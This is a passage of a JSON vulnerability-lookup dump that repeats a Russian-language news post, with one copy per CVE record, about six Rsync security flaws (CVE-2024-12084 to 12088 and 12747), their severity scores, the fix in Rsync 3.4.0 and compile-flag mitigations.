\u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n- \u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\n- \u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.", "creation_timestamp": "2025-01-16T08:02:31.000000Z"}, {"uuid": "1267b6c5-23bf-411f-bd4f-3512eba41acc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/nemeZ1da_ru/5474", "content": "\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n- \u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\n- \u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.", "creation_timestamp": "2025-01-16T08:02:31.000000Z"}, {"uuid": "2ee3f9d3-4d54-4be3-aef7-08af757d949f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/nemeZ1da_ru/5474", "content": "\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439, 